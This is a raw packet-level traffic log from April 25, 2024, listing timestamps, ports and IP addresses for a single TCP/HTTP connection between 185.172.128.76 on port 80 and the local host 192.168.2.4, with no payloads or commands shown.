Apr 25, 2024 14:42:11.617074966 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.617124081 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.617232084 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.617278099 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.617378950 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.617424011 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.617434025 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.617474079 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.617578030 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.617610931 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.617624044 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.617649078 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.617721081 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.617743969 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.617774010 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.617789984 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.617810965 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.617829084 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.617870092 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.617901087 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.617948055 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.618035078 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.618057966 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.618071079 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.618088961 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.618108034 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.618169069 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.618213892 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.618253946 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.618263006 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.618292093 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.618324995 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.618364096 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.618369102 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.618396997 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.618407011 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.618434906 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.618438959 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.618474960 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.618475914 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.618518114 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.618539095 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.618581057 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.618619919 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.618633032 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.618669033 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.618695974 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.618743896 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.618766069 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.618808031 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.618839025 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.618851900 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.618884087 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.618911982 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.618954897 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.618983984 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.619028091 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.619040966 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.619081020 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.619107008 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.619153023 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.619170904 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.619219065 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.619240046 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.619283915 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.619283915 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.668787003 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.668840885 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.668859959 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.668874025 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.668900967 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.668905973 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.668920040 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.668920994 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.668945074 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.668961048 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.668977976 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.668988943 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.669018984 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.669049025 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.669085026 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.669086933 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.669122934 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.669194937 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.669208050 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.669235945 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.669250965 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.669285059 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.669322968 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.669390917 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.669399023 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.669445992 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.669460058 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.669471025 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.669500113 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.669524908 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.669553041 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.669564009 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.669591904 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.669625044 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.669636965 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.669665098 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.669683933 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.669693947 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.669697046 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.669724941 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.669728041 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.669740915 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.669790030 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.669806957 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.669821978 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.669832945 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.669846058 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.669874907 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.669888973 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.669903994 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.669934034 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.669934988 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.669948101 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.669954062 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.669970036 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.669982910 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.670041084 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.670057058 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.670069933 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.670113087 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.670137882 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.670170069 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.670208931 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.670223951 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.670236111 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.670264959 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.670289040 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.670336008 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.670350075 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.670375109 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.670389891 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.670470953 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.670488119 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.670516014 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.670531988 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.670545101 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.670582056 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.670583963 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.670612097 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.670623064 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.670651913 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.670919895 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.670963049 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.671010017 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.671029091 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.671053886 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.671071053 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.671092987 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.671098948 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.671139002 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.671214104 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.671227932 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.671252966 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.671256065 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.671266079 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.671291113 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.671298027 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.671336889 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.671355009 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.671366930 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.671427011 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.671447992 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.671469927 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.671473026 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.671484947 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.671495914 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.671525002 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.671546936 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.671554089 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.671619892 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.671657085 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.671658993 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.671673059 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.671698093 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.671708107 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.671720982 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.671773911 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.671813965 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.671838999 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.671852112 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.671875000 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.671879053 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.671905041 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.671919107 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.671931028 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.671971083 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.671983957 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.672029972 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.672054052 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.672080040 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.672089100 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.672116041 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.672142029 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.672154903 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.672179937 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.672194958 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.672207117 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.672250032 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.672290087 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.672307968 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.672319889 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.672348022 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.672370911 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.672380924 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.672418118 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.672457933 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.672580004 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.672620058 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.672668934 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.672708988 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.672864914 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.672905922 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.673156977 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.673202991 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.673276901 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.673319101 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.673386097 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.673424959 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.721615076 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.721627951 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.721678019 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.721746922 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.721796036 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.721822977 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.721867085 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.721900940 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.721952915 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.721996069 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.722033024 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.722084999 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.722111940 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.722157955 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.722186089 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.722224951 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.722265005 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.722278118 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.722311974 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.722332001 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.722352982 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.722429991 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.722449064 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.722471952 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.722496033 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.722510099 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.722523928 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.722548962 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.722567081 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.722589970 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.722615957 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.722632885 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.722666025 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.722666025 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.722707033 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.722778082 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.722819090 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.722842932 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.722856998 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.722883940 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.722908974 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.722927094 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.722942114 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.722954988 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.722982883 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.723002911 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.723010063 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.723023891 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.723048925 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.723061085 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.723062038 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.723089933 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.723117113 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.723130941 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.723156929 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.723177910 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.723182917 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.723196030 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.723208904 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.723232985 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.723253012 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.723257065 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.723321915 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.723332882 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.723345041 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.723360062 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.723367929 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.723390102 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.723403931 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.723428965 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.723469973 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.723498106 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.723536968 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.723552942 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.723598957 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.723603964 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.723618031 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.723642111 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.723658085 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.723670959 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.723685026 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.723701000 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.723712921 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.723726988 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.723750114 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.723783970 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.723824024 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.723862886 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.723902941 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.723939896 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.723983049 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.723995924 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.724021912 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.724035025 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.724055052 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.724086046 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.724103928 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.724128008 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.724128008 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.724137068 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.724167109 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.724209070 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.724222898 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.724234104 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.724246025 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.724250078 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.724261045 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.724268913 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.724277020 CEST	49731	80	192.168.2.4	185.172.128.76
